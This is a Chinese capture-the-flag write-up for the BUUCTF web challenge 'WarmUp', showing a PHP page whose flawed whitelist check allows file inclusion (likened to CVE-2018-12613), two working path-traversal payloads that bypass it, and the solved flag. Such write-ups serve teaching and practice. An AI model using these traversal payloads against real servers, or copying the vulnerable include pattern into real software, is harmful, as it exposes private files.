buuctf-web-WarmUp

打开题目链接,发现一个表情包,御剑扫码一下目录

发现source.php和hint.php

hint.php

flag not here, and flag in ffffllllaaaagggg

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {

            //白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];

            //判断$page是否为空、是否为字符串
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            //判断$page是否在白名单里

            if (in_array($page, $whitelist)) {
                return true;
            }

             //取出$page问号前的字符,判断是否在白名单里

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            //url解码

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])  ##不能为空
        && is_string($_REQUEST['file'])  ##是字符串
        && emmm::checkFile($_REQUEST['file'])  ##上面checkfile返回为true
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  ?>

进行代码审计

checkfile()函数

url要进行两次解码。

payload:
下面两个payload都可以
file=hint.php?/../../../../../../../../ffffllllaaaagggg
file=hint.php%253f/../../../../../../../../ffffllllaaaagggg

flag{e473d627-35d4-49aa-a457-b75651430a7e}
 


版权声明:本文为u014692982原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。